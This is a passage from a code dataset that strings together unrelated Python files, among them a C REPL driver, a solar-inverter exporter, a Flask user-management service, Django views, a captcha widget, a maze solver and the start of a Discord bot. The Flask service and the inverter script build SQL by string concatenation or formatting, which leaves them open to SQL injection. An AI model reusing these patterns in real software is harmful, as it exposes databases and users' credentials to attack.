getinput(mode=0)\n\n if inp == \"\":\n continue\n elif inp == \"exit;\":\n break\n elif inp == \"cancel;\":\n print(\"CancelError --> You are not in a code block.\")\n continue\n\n # Get firstword of line if it's necessary\n firstword = None\n isblock, isinclude, isvariable = (False, ) * 3\n\n match = re.match(\"(if|while|for|switch) *\\(.+[^;]$\", inp)\n if match:\n isblock = True\n match = re.match(\"#include \", inp)\n if match:\n isinclude = True\n match = re.match(\"(int|double|float|long int|char|short|long) \", inp)\n if match:\n isvariable = True\n firstword = match.group(1)\n\n if isblock:\n if inp.endswith(\"{\"):\n print(\"BraceError --> Put the opening brace('{') on a new line.\")\n continue\n lines.append(inp)\n inp = getinput(0)\n if inp == \"{\": # If next line is a {, start a code block\n lines.append(inp) # Append '{'\n block = getblock()\n if len(block) < 1:\n continue\n else:\n lines.extend(block)\n else:\n lines.append(inp)\n elif isinclude:\n pass\n elif inp[-1] != \";\":\n # scerrors = [\"\"] # Error list\n # Check whether the line is ending with a semicolon or not\n print(\"SemicolonError --> Please don't forget our little friend.\")\n continue\n elif isvariable:\n parsevars(inp, firstword)\n declarations.append(inp)\n else:\n lines.append(inp)\n\n # print(vardict) # --debug\n # print(ptrdict)\n\n # Add some C code to save pointer declarations and values of variables at\n # the end of the iteration\n variables = savevars()\n pointers = saveptrs()\n\n with open(wd + \"simit.c\", \"w\") as f: # Write all content to a C file\n f.write(start)\n f.write(\"\\n\\t\".join(declarations))\n f.write(\"\\n\\t\".join(lines))\n f.write(\"\\n\\t\".join(variables))\n f.write(\"\\n\\t\".join(pointers))\n f.write(end)\n\n es = os.system(\"gcc -c -ansi -pedantic-errors \" + wd + \"simit.c -o \" +\n wd + \"simit.o\") # And run\n if es == 0:\n es = os.system(\"gcc -o \" + wd + \"simit \" + wd + \"simit.o\")\n if es == 0:\n es = os.system(wd + \"simit\")\n\nprint(\"\\n Goodbye! Thanks for using simit.\\n\")\n","sub_path":"simit.py","file_name":"simit.py","file_ext":"py","file_size_in_byte":8510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"583446798","text":"#!/usr/bin/env python3\n\nimport requests\nimport json\nimport time\nimport psycopg2\nimport os\n\ndata_mapping = {\n 'pv_generator_dc_input_1_voltage': 33555202,\n 'pv_generator_dc_input_1_current': 33555201,\n 'pv_generator_dc_input_1_power': 33555203,\n 'pv_generator_dc_input_2_voltage': 33555458,\n 'pv_generator_dc_input_2_current': 33555457,\n 'pv_generator_dc_input_2_power': 33555459,\n 'house_home_consumption_covered_by_solar_generator': 83886336,\n 'house_home_consumption_covered_by_battery': 83886592,\n 'house_home_consumption_covered_by_grid': 83886848,\n 'house_phase_selective_home_consumption_phase_1': 83887106,\n 'house_phase_selective_home_consumption_phase_2': 83887362,\n 'house_phase_selective_home_consumption_phase_3': 83887618,\n 'grid_grid_parameters_output_power': 67109120,\n 'grid_grid_parameters_grid_frequency': 67110400,\n 'grid_grid_parameters_cos': 67110656,\n 'grid_grid_parameters_limitation_on': 67110144,\n 'grid_phase_1_voltage': 67109378,\n 'grid_phase_1_current': 67109377,\n 'grid_phase_1_power': 67109379,\n 'grid_phase_2_voltage': 67109634,\n 'grid_phase_2_current': 67109633,\n 'grid_phase_2_power': 67109635,\n 'grid_phase_3_voltage': 67109890,\n 'grid_phase_3_current': 67109889,\n 'grid_phase_3_power': 67109891,\n 'stats_total_yield': 251658753,\n 'stats_total_operation_time': 251658496,\n 'stats_total_total_home_consumption': 251659009,\n 'stats_total_self_consumption_kwh': 251659265,\n 'stats_total_self_consumption_rate': 251659280,\n 'stats_total_degree_of_self_sufficiency': 251659281,\n 'stats_day_yield': 251658754,\n 'stats_day_total_home_consumption': 251659010,\n 'stats_day_self_consumption_kwh': 251659266,\n 'stats_day_self_consumption_rate': 251659278,\n 'stats_day_degree_of_self_sufficiency': 251659279,\n}\n\ndef get_key_by_value(dict_object, search_value):\n return next(key for key, value in dict_object.items() if value == search_value)\n\ndef get_data():\n url = 'http://{}/api/dxs.json'.format(os.environ.get('KOSTAL_HOST'))\n\n payload1 = {\n 'dxsEntries': [\n data_mapping['pv_generator_dc_input_1_voltage'],\n data_mapping['pv_generator_dc_input_1_current'],\n data_mapping['pv_generator_dc_input_1_power'],\n data_mapping['house_home_consumption_covered_by_solar_generator'],\n data_mapping['house_home_consumption_covered_by_grid'],\n data_mapping['house_phase_selective_home_consumption_phase_1'],\n data_mapping['house_phase_selective_home_consumption_phase_2'],\n data_mapping['house_phase_selective_home_consumption_phase_3'],\n data_mapping['grid_grid_parameters_output_power'],\n data_mapping['grid_grid_parameters_grid_frequency'],\n data_mapping['grid_grid_parameters_cos'],\n data_mapping['grid_phase_1_voltage'],\n data_mapping['grid_phase_1_current'],\n data_mapping['grid_phase_1_power'],\n data_mapping['grid_phase_2_voltage'],\n data_mapping['grid_phase_2_current'],\n data_mapping['grid_phase_2_power'],\n data_mapping['grid_phase_3_voltage'],\n data_mapping['grid_phase_3_current'],\n data_mapping['grid_phase_3_power'],\n ]\n }\n\n # Second payload, because the inverter only returns 25 key-value pairs per request\n payload2 = {\n 'dxsEntries': [\n data_mapping['stats_total_yield'],\n data_mapping['stats_total_operation_time'],\n data_mapping['stats_total_total_home_consumption'],\n data_mapping['stats_total_self_consumption_kwh'],\n data_mapping['stats_total_self_consumption_rate'],\n data_mapping['stats_total_degree_of_self_sufficiency'],\n data_mapping['stats_day_yield'],\n data_mapping['stats_day_total_home_consumption'],\n data_mapping['stats_day_self_consumption_kwh'],\n data_mapping['stats_day_self_consumption_rate'],\n data_mapping['stats_day_degree_of_self_sufficiency'],\n ]\n }\n\n response1 = requests.get(url, auth=(os.environ.get('KOSTAL_USERNAME'), os.environ.get('KOSTAL_PASSWORD')), params=payload1, timeout=5)\n response2 = requests.get(url, auth=(os.environ.get('KOSTAL_USERNAME'), os.environ.get('KOSTAL_PASSWORD')), params=payload2, timeout=5)\n\n json_data1 = json.loads(response1.text)\n json_data2 = json.loads(response2.text)\n\n current_values = {}\n\n for entry in json_data1['dxsEntries']:\n entry_name = get_key_by_value(data_mapping, entry['dxsId'])\n current_values[entry_name] = entry['value']\n\n for entry in json_data2['dxsEntries']:\n entry_name = get_key_by_value(data_mapping, entry['dxsId'])\n current_values[entry_name] = entry['value']\n\n return current_values\n\ndef insert_data(current_values):\n params = {\n \"host\": os.environ.get('DB_HOST'),\n \"port\": os.environ.get('DB_PORT'),\n \"database\": os.environ.get('DB_NAME'),\n \"user\": os.environ.get('DB_USER'),\n \"password\": os.environ.get('DB_PASSWORD'),\n }\n\n conn = psycopg2.connect(**params)\n\n sql_cmd = \"\"\"INSERT INTO pvwr(\n pv_generator_dc_input_1_voltage,\n pv_generator_dc_input_1_current,\n pv_generator_dc_input_1_power,\n house_home_consumption_covered_by_solar_generator,\n house_home_consumption_covered_by_grid,\n house_phase_selective_home_consumption_phase_1,\n house_phase_selective_home_consumption_phase_2,\n house_phase_selective_home_consumption_phase_3,\n grid_grid_parameters_output_power,\n grid_grid_parameters_grid_frequency,\n grid_grid_parameters_cos,\n grid_phase_1_voltage,\n grid_phase_1_current,\n grid_phase_1_power,\n grid_phase_2_voltage,\n grid_phase_2_current,\n grid_phase_2_power,\n grid_phase_3_voltage,\n grid_phase_3_current,\n grid_phase_3_power,\n stats_total_yield,\n stats_total_operation_time,\n stats_total_total_home_consumption,\n stats_total_self_consumption_kwh,\n stats_total_self_consumption_rate,\n stats_total_degree_of_self_sufficiency,\n stats_day_yield,\n stats_day_total_home_consumption,\n stats_day_self_consumption_kwh,\n stats_day_self_consumption_rate,\n stats_day_degree_of_self_sufficiency)\n VALUES ({}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {})\"\"\".format(\n current_values['pv_generator_dc_input_1_voltage'],\n current_values['pv_generator_dc_input_1_current'],\n current_values['pv_generator_dc_input_1_power'],\n current_values['house_home_consumption_covered_by_solar_generator'] or 0,\n current_values['house_home_consumption_covered_by_grid'] or 0,\n current_values['house_phase_selective_home_consumption_phase_1'],\n current_values['house_phase_selective_home_consumption_phase_2'],\n current_values['house_phase_selective_home_consumption_phase_3'],\n current_values['grid_grid_parameters_output_power'],\n current_values['grid_grid_parameters_grid_frequency'],\n current_values['grid_grid_parameters_cos'],\n current_values['grid_phase_1_voltage'],\n current_values['grid_phase_1_current'],\n current_values['grid_phase_1_power'],\n current_values['grid_phase_2_voltage'],\n current_values['grid_phase_2_current'],\n current_values['grid_phase_2_power'],\n current_values['grid_phase_3_voltage'],\n current_values['grid_phase_3_current'],\n current_values['grid_phase_3_power'],\n current_values['stats_total_yield'],\n current_values['stats_total_operation_time'],\n current_values['stats_total_total_home_consumption'],\n current_values['stats_total_self_consumption_kwh'],\n current_values['stats_total_self_consumption_rate'],\n current_values['stats_total_degree_of_self_sufficiency'],\n current_values['stats_day_yield'],\n current_values['stats_day_total_home_consumption'],\n current_values['stats_day_self_consumption_kwh'],\n current_values['stats_day_self_consumption_rate'],\n current_values['stats_day_degree_of_self_sufficiency']\n )\n\n cursor = conn.cursor()\n cursor.execute(sql_cmd)\n conn.commit()\n cursor.close()\n conn.close()\n\ndef main():\n while True:\n print('Process values on {}'.format(time.asctime()))\n current_values = get_data()\n insert_data(current_values)\n time.sleep(30)\n\nif __name__ == '__main__':\n main()\n","sub_path":"kostal-piko-dataexport.py","file_name":"kostal-piko-dataexport.py","file_ext":"py","file_size_in_byte":8705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"15598362","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: Philipp Temminghoff\n\"\"\"\n\nimport functools\nfrom typing import Iterable, Optional\n\nfrom qtpy import QtCore, QtWidgets\n\nfrom prettyqt import core, widgets\nfrom prettyqt.utils import bidict\n\n\nQtWidgets.QHeaderView.__bases__ = (widgets.AbstractItemView,)\n\n\nclass HeaderView(QtWidgets.QHeaderView):\n MODES = bidict(interactive=QtWidgets.QHeaderView.Interactive,\n fixed=QtWidgets.QHeaderView.Fixed,\n stretch=QtWidgets.QHeaderView.Stretch,\n resize_to_contents=QtWidgets.QHeaderView.ResizeToContents)\n\n section_vis_changed = QtCore.Signal(int, bool)\n\n def __init__(self, orientation=None, parent=None):\n o = QtCore.Qt.Vertical if orientation == \"vertical\" else QtCore.Qt.Horizontal\n super().__init__(o, parent=parent)\n self.setSectionsMovable(True)\n self.setSectionsClickable(True)\n self.widget_name = parent.id\n\n def save_state(self):\n settings = core.Settings()\n settings.setValue(f\"{self.widget_name}.state\", self.saveState())\n\n def load_state(self):\n settings = core.Settings()\n state = settings.value(f\"{self.widget_name}.state\", None)\n if state is not None:\n self.restoreState(state)\n\n def resize_sections(self, mode: str):\n self.resizeSections(self.MODES[mode])\n\n def resize_mode(self, mode: str, col: Optional[int] = None):\n if mode not in self.MODES:\n raise ValueError(\"mode not existing\")\n if col is None:\n self.setSectionResizeMode(self.MODES[mode])\n else:\n self.setSectionResizeMode(col, self.MODES[mode])\n\n def section_labels(self):\n model = self.parent().model()\n return [model.headerData(i, QtCore.Qt.Horizontal, QtCore.Qt.DisplayRole)\n for i in range(self.count())]\n\n def contextMenuEvent(self, event):\n \"\"\"\n context menu for our files tree\n \"\"\"\n menu = widgets.Menu(parent=self)\n for i, header_label in enumerate(self.section_labels()[1:], start=1):\n act = menu.addAction(header_label)\n act.setCheckable(True)\n val = not self.isSectionHidden(i)\n act.setChecked(val)\n fn = functools.partial(self.change_section_vis, i=i, val=val)\n act.triggered.connect(fn)\n menu.exec_(self.mapToGlobal(event.pos()))\n\n def change_section_vis(self, i, val):\n self.section_vis_changed.emit(i, val)\n self.setSectionHidden(i, val)\n\n def set_sizes(self, sizes: Iterable):\n for i, size in enumerate(sizes):\n if size is not None:\n self.resizeSection(i, size)\n\n\nif __name__ == \"__main__\":\n app = widgets.app()\n header = HeaderView(parent=None)\n app.exec_()\n","sub_path":"prettyqt/widgets/headerview.py","file_name":"headerview.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"150646239","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.utils import timezone\nfrom .models import Lost\n\n# Create your views here.\ndef home(request):\n stuffs = Lost.objects.all()\n return render(request, 'lost.html', {'stuffs' : stuffs})\n\ndef new(request):\n if request.method == 'POST':\n lost = Lost()\n lost.title = request.POST['title']\n if request.user.is_authenticated:\n lost.author = request.user\n # image 파일이 있으면 post 객체에 저장\n if 'image' in request.FILES:\n lost.image = request.FILES['image']\n lost.pub_date = timezone.datetime.now()\n lost.save()\n return redirect('lost_home')\n else:\n return render(request, 'lost_new.html')\n\ndef detail(request, stuff_id):\n stuff = get_object_or_404(Lost, pk=stuff_id)\n return render(request, 'lost_detail.html', {'stuff': stuff})\n\ndef delete(request, stuff_id):\n stuff = get_object_or_404(Lost, pk=stuff_id)\n if stuff.author == request.user:\n stuff.delete()\n return redirect('lost_home')\n else:\n return redirect('lost_detail', stuff_id)\n\ndef edit(request, stuff_id):\n stuff = get_object_or_404(Lost, pk=stuff_id)\n if request.method == 'POST':\n # image 파일이 있으면 post 객체에 저장\n if 'image' in request.FILES:\n stuff.image = request.FILES['image']\n stuff.content = request.POST['content']\n stuff.save()\n return redirect('/lost/detail/'+str(stuff.id))\n else:\n if stuff.author == request.user:\n return render(request, 'lost_edit.html', {'stuff':stuff})\n else:\n return redirect('lost_home')\n\ndef found(request, stuff_id):\n stuff = get_object_or_404(Lost, pk=stuff_id)\n stuff.found = True\n stuff.save()\n return redirect('lost_home')","sub_path":"lost_property/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"159787175","text":"\"\"\"\nCopyright (c) 2012 Daniel Lundin\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and/or sell copies\nof the Software, and to permit persons to whom the Software is furnished to do\nso, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\n\nimport sublime\nimport sublime_plugin\n\nclass ReorderTabsCommand(sublime_plugin.WindowCommand):\n def run(self, relative=None, absolute=None):\n v = self.window.active_view()\n group, idx = self.window.get_view_index(v)\n if absolute is not None:\n idx = absolute\n if relative is not None:\n idx += relative\n if idx < 0:\n idx = 0\n num_views = len(self.window.views())\n if idx >= num_views:\n idx = num_views - 1\n self.window.set_view_index(v, group, idx)\n\n","sub_path":".config/sublime-text-3/Packages/ReorderTabs/reorder_tabs.py","file_name":"reorder_tabs.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"359038304","text":"from flask import Flask, render_template,\\\njsonify,request,abort,redirect\nimport requests\nfrom datetime import datetime\nfrom flask_mysqldb import MySQL\n\ndef is_sha1(maybe_sha):\n if len(maybe_sha) != 40:\n return False\n try:\n sha_int = int(maybe_sha, 16)\n except ValueError:\n return False\n return True\n\napp= Flask(__name__)\n\napp.config['MYSQL_HOST']\t = 'db_user' \napp.config['MYSQL_USER']\t = 'user'\napp.config['MYSQL_PASSWORD'] = '123'\napp.config['MYSQL_DB'] \t\t = 'user_data'\napp.config['MYSQL_PORT'] = 3306;\n\nmysql=MySQL(app)\n\n#Users={}\nRides={}\nrideId=0\navail=[]\n\n@app.route(\"/api/v1/_count\")\ndef count():\n\t\tcur=mysql.connection.cursor()\n\t\tcur.execute(\"SELECT count FROM counter\")\n\t\tl = cur.fetchall()\n\t\tprint(l)\n\t\tmysql.connection.commit()\n\t\tcur.close()\n\t\treturn jsonify(l[0]),200\n\n@app.route(\"/api/v1/_count\",methods=[\"DELETE\"])\ndef reset():\n\t\tcur=mysql.connection.cursor()\n\t\tcur.execute(\"UPDATE counter SET count = 0\")\n\t\tmysql.connection.commit()\n\t\tcur.close()\n\t\treturn jsonify(),200\n\n@app.route(\"/api/v1/users\", methods=[\"POST\",\"DELETE\"])\ndef adduser1():\n\tcur=mysql.connection.cursor()\n\tcur.execute(\"UPDATE counter SET count = count + 1\")\n\tmysql.connection.commit()\n\tcur.close()\n\treturn jsonify(),405\n\n\n@app.route(\"/api/v1/users\", methods=[\"PUT\",\"GET\"])\ndef adduser():\n\tcur=mysql.connection.cursor()\n\tcur.execute(\"UPDATE counter SET count = count + 1\")\n\tmysql.connection.commit()\n\tcur.close()\n\n\tif(request.method == 'PUT'):\n\t\tUsers={}\n\t\tuser=request.get_json()[\"username\"]\n\t\tpassw=request.get_json()[\"password\"]\n\t\tcheck={\"type\":1,\"user\":user}\n\t\tUsers[\"value\"]=[user,passw]\n\t\tUsers[\"type\"]=1\n\t\tsend=requests.post('http://3.228.68.67:80/api/v1/db/read',json=check)\n#\t\treturn jsonify(send);\n\t\tres=send.json()\n\t\tcur=mysql.connection.cursor()\n\t\t#cur.execute(\"UPDATE counter SET count = count + 1\")\n\t\tmysql.connection.commit()\n\t\tcur.close()\n\t\tif(len(res['val'])!= 0):\n\t\t\treturn jsonify(\"firstone\"),400\n\t\telse:\n\t\t\tcheck=is_sha1(passw)\n\t\t\tif check:\n\t\t\t\tsend1=requests.post('http://3.228.68.67:80/api/v1/db/write',json=Users)\n\t\t\t\t\n\t\t\t\tres1=send1.json()\n\t\t\t\tif(res1['val']==200):\n\t\t\t\t\treturn jsonify(),201\n\t\t\t\telse:\n\t\t\t\t\treturn jsonify(),400\n\t\t\telse:\n\t\t\t\treturn jsonify(),400\t\n\tif(request.method == 'GET'):\n\t\tUsers={}\n\t\tcheck={\"type\":5,\"user\":Users}\n\t\tsend=requests.post('http://3.228.68.67:80/api/v1/db/read',json=check)\n\t\tres=send.json()\n\t\tcur=mysql.connection.cursor()\n\t\t#cur.execute(\"UPDATE counter SET count = count + 1\")\n\t\tmysql.connection.commit()\n\t\tcur.close()\n\t\treturn jsonify(res['val']),200\n\telse:\n\t\tcur=mysql.connection.cursor()\n\t\t#cur.execute(\"UPDATE counter SET count = count + 1\")\n\t\tmysql.connection.commit()\n\t\tcur.close()\n\t\treturn jsonify(),405\n\n\n@app.route(\"/api/v1/users/\", methods=[\"DELETE\"])\ndef deluser(username):\n\tcur=mysql.connection.cursor()\n\tcur.execute(\"UPDATE counter SET count = count + 1\")\n\tmysql.connection.commit()\n\tcur.close()\n\tif(request.method == 'DELETE'):\n\t\tcheck={\"type\":1,\"user\":username}\n\t\tsend={}\n\t\tsend[\"type\"]=2\n\t\tsend[\"value\"]=username\n\t\trec=requests.post('http://3.228.68.67:80/api/v1/db/read',json=check)\n\t\tres=rec.json()\n\t\tcur=mysql.connection.cursor()\n\t\t#cur.execute(\"UPDATE counter SET count = count + 1\")\n\t\tmysql.connection.commit()\n\t\tcur.close()\n\t\tif(len(res['val'])== 0):\n\t\t\treturn jsonify(),400\n\t\telse:\n\t\t\tcur=mysql.connection.cursor()\n\t\t\t#cur.execute(\"UPDATE counter SET count = count + 1\")\n\t\t\tmysql.connection.commit()\n\t\t\tcur.close()\n\t\t\tsent=requests.post('http://3.228.68.67:80/api/v1/db/write',json=send)\n\t\t\tr=sent.json()\n\t\t\t\n\t\t\tif((r['val']) == 400):\n\t\t\t\treturn jsonify(),400\n\t\t\telse:\n\t\t\t\treturn jsonify(),200\n\telse:\n\t\treturn jsonify(),405\n\n@app.route(\"/api/v1/users/\", methods=[\"PUT\",\"POST\",\"GET\"])\ndef deluser1(username):\n\tcur=mysql.connection.cursor()\n\tcur.execute(\"UPDATE counter SET count = count + 1\")\n\tmysql.connection.commit()\n\tcur.close()\n\treturn jsonify(),405\n\n@app.route(\"/api/v1/db/write\",methods=[\"POST\",\"DELETE\",\"PUT\"])\ndef write():\n\tdic=request.get_json()\n\tif(dic[\"type\"]==1):\n\t\tcur=mysql.connection.cursor()\n#\t\ttry:\n#\t\tprint(dict[\"value\"])\n\t\tcur.execute(\"INSERT INTO users (username,password) VALUES ('\"+dic[\"value\"][0]+\"','\"+dic[\"value\"][1]+\"')\")\n#\t\texcept(MySQL.Error,MySQL.Warning) as e:\n\t\t\t\n#\t\t\treturn jsonify(e),400;\n\t\tmysql.connection.commit()\n\t\tcur.close()\n\t\treturn {'val':200}\t\n\tif(dic[\"type\"]==2):\n\t\t#print(dic[\"value\"])\n\t\tcur=mysql.connection.cursor()\n\t\t#print(dic)\n\t\tsql=\"DELETE FROM users WHERE username=%s\"\n\t\tval=[dic[\"value\"],]\n\t\tcur.execute(sql,val)\n\t\t#return {'val':400}\n\t\tmysql.connection.commit()\n\t\tcur.close()\n\t\treturn {'val':200}\n\n\t\t\t\n@app.route(\"/api/v1/db/read\",methods=[\"POST\",\"GET\"])\ndef read():\n\tdic=request.get_json()\n\tprint(dic)\n\tif(dic[\"type\"]==1):\n\t\tcur=mysql.connection.cursor()\n\t\tval=(dic[\"user\"],)\n\t\tcur.execute(\"SELECT * FROM users WHERE username=%s\",val)\n\t\tl = cur.fetchall()\n\t\t#print(l)\n\t\tmysql.connection.commit()\n\t\tcur.close()\n\t\treturn {\"val\":l}\n\tif(dic[\"type\"]==5):\n\t\tm=[]\n\t\tcur=mysql.connection.cursor()\n\t\tval=(dic[\"user\"],)\n\t\tcur.execute(\"SELECT username FROM users\") # <---- list all users API \n\t\tl = cur.fetchall()\n\t\tfor i in l:\n\t\t\tm.append(i[0])\n\t\t#print(m)\n\t\tmysql.connection.commit()\n\t\tcur.close()\n\t\treturn {\"val\":m}\n\n@app.route(\"/api/v1/db/clear\",methods=[\"POST\"])\ndef delete_db():\n\t#dic=request.get_json()\n\tcur=mysql.connection.cursor() # <----- clear db API for user_db\n\tcur.execute(\"DELETE FROM users\")\n\tmysql.connection.commit()\n\tcur.close()\n\treturn {'val':200}\n\nif __name__ ==\"__main__\":\n\tapp.run(debug=True)","sub_path":"Assignment_3/users/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"288589870","text":"#!/usr/bin/env python3\n\nN = 10 # Nombre de pièces\nw = 5 # Diamètre d'une pièce\nh = 1 # Épaisseur d'une pièce\n\nHn = 0\nfor i in range(0,N):\n print(\"\\\\draw[rectangle] ({},{}) rectangle +({},{}) ;\".format(\n -Hn*w/2, -i*h, w, h))\n Hn += 1/(i+1)\n","sub_path":"series-numeriques/pieces.py","file_name":"pieces.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"565014009","text":"# -*- coding: utf-8 -*-\n__author__ = 'a'\n\n\nfrom django import forms\nfrom django.utils.safestring import mark_safe\nfrom django.utils.encoding import force_unicode\nfrom bookmark.models import *\n\nclass CaptchaHashKey(forms.widgets.HiddenInput):\n def render(self, name, value, attrs=None):\n return u''\n\nclass CaptchaInput(forms.widgets.TextInput):\n\n def __init__(self,attrs={}):\n\n super(CaptchaInput,self).__init__(attrs)\n\n '''\n 重载父类的render方法，这个方法用于生成CaptchaInput\n '''\n def render(self, name, value, attrs=None):\n\n if value is None:\n value=''\n final_attrs = self.build_attrs(attrs,type=self.input_type,name=name)\n\n if value:\n final_attrs['value'] = force_unicode(value)\n #print 'value:',value\n captcha = generate_arithmetic_captcha()\n #将描述用户注册表单中的验证码图片的html代码保存到变量img中\n #print 'captcha:',captcha\n img = '' % captcha.hashkey\n #将描述 用户 不可见表单保存在 hidden 中\n hidden = '' % captcha.hashkey\n #print 'img:'+img,'hidden:'+hidden\n\n #print mark_safe(u'%s%s') % (img,hidden,forms.util.flatatt(final_attrs))\n return mark_safe(u'%s%s') % (img,hidden,forms.util.flatatt(final_attrs))\n","sub_path":"stark/bookmark/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"167980951","text":"# Problem: Finals Spring 2015 - Maze Solver\n# The size of the maze is at most 100 * 100, there is only one solution, don’t have to worry about boundaries neither.\n# Maze given as a string list or 2-d char array. \n# Can be solved in C more efficiently probably.\n# We shall try with Python first.\n# Always start from (1, 0) and end at (R-2, C-1).\n# We shall use a 2-d boolean list to store the states of the matrix as ‘unvisited’ and ‘visited’ where we will visit ‘unvisited’ nodes only, and nodes get marked ‘visited’ when all neighbouring nodes are touched.\n\n\n# Code:\n\n\nimport sys\ninput_file = open('input', 'r')\noutput_file = open('output', 'w')\ndata = input_file.read().splitlines()\nr = int((data[0].split())[0])\nc = int((data[0].split())[1])\nmaze = data[1:]\nvisited = [[False for i in range(c)] for j in range(r)]\n\n# Exploring Function.\ndef explore(x, y, visited):\n # It starts from (x, y) to explore its direct neighbors and returns the path if successful.\n visited[x][y] = True\n \n # Reach the exit.\n if x == (r - 2) and y == (c - 1):\n return [(x, y)]\n else:\n for dx in [-1, 1]:\n new_x = x + dx\n if new_x < 0 or new_x >= r:\n continue\n new_y = y\n if visited[new_x][new_y] or maze[new_x][new_y] == 'X':\n continue\n else:\n trial_answer = explore(new_x, new_y, visited)\n if trial_answer:\n return [(x, y)] + trial_answer\n for dy in [-1, 1]:\n new_y = y + dy\n if new_y < 0 or new_y >= c:\n continue\n new_x = x\n if visited[new_x][new_y] or maze[new_x][new_y] == 'X':\n continue\n else:\n trial_answer = explore(new_x, new_y, visited)\n if trial_answer:\n return [(x, y)] + trial_answer\n visited[x][y] = False\n\nanswer = explore(1, 0, visited)\nfor point in answer:\n print(str(point[0]) + ',' + str(point[1]))\n# output_file.write(str(explore(1, 0, visited)))","sub_path":"Python/Exercises/maze_solver.py","file_name":"maze_solver.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"481257040","text":"import sympy\r\nimport re\r\n\r\nwhile True:\r\n try:\r\n \r\n # 先将输入的正常方程式转换为sympy能够处理的式子(移项后的式子)。\r\n # 如x+1=2转换为x-1(省略\"=0\")。\r\n string = input(\"请输入一元方程式(相乘请勿省略乘号):\").replace(\" \",\"\")\r\n get_unknown = re.search('([a-z])', string)\r\n unknown = sympy.symbols(get_unknown.group())\r\n m = re.search(\"=([^\\s].*)\", string)\r\n m = m.group()\r\n formula = string.replace(m, \"\") + \"-\" + m.replace(\"=\", \"\")\r\n \r\n result = sympy.solve([formula],[unknown]) # 解方程交给sympy，就没了\r\n \r\n print(\"解得:\", result)\r\n except:\r\n print(\"<无效的输入>\")\r\n","sub_path":"解一元任意次方程.py","file_name":"解一元任意次方程.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"108654265","text":"\r\n\r\nimport discord # requires install (discord.py)\r\nfrom discord.ext import commands\r\nimport logging\r\nfrom typing import List\r\nimport json\r\nimport yaml\r\nimport asyncio\r\nimport sys\r\nimport shlex\r\nimport requests\r\nimport urllib.parse\r\n\r\ndescription = '''An elementary open source bot for Discord.'''\r\ncommand_prefix = '+' # change to whatever you see fit\r\nbot = commands.Bot(command_prefix, description=description)\r\nforestLog = logging.getLogger('forest log')\r\nforestLog.setLevel(logging.INFO)\r\npen = logging.FileHandler('forest.log')\r\npen.setLevel(logging.INFO)\r\nsty = logging.Formatter('[%(asctime)s]: %(message)s', '%Y/%m/%d %H:%M:%S')\r\npen.setFormatter(sty)\r\nforestLog.addHandler(pen)\r\nvoz = logging.StreamHandler(sys.stdout,)\r\nvoz.setLevel(logging.INFO)\r\nvoz.setFormatter(sty)\r\nforestLog.addHandler(voz)\r\n\r\nglobal commandMatrix\r\ncommandMatrix = {}\r\nglobal commandDict\r\ncommandDict = {}\r\n\r\nglobal alreadyRunning\r\nalreadyRunning = False\r\n\r\n# make sure all commands and config data are up-to-date\r\n# note that update() only adds commands not yet included, so if you remove a command from commands.yaml it'll remain in the ddoskiordbot session until restart\r\ndef update():\r\n global commandMatrix\r\n # assemble all commands ddoskiordbot will respond to on message into this matrix\r\n # will receive message, fixed, and terms\r\n # parse so if isinstance(commandMatrix['command'], str) do on_command(message,message.channel,str,fixed)\r\n # else run the function with the given message, fixed, terms\r\n commandMatrix.update(yaml.load(open('bears/commands.yaml','r')))\r\n\r\n global commandDict # takes command dupes and allows us to find their dict entry in commandMatrix\r\n global commandList # abriged to remove dupes\r\n commandList = []\r\n for k in commandMatrix.keys() :\r\n if commandMatrix[k]['tr'] :\r\n commandList.append(commandMatrix[k]['cl'][0]+' '+commandMatrix[k]['tr'])\r\n else :\r\n commandList.append(commandMatrix[k]['cl'][0])\r\n for l in commandMatrix[k]['cl'] :\r\n commandDict.update({l:k})\r\n commandList.sort()\r\n commandList = 'Non-exhaustive list of commands (note that some take arguments):\\n```'+command_prefix+(', 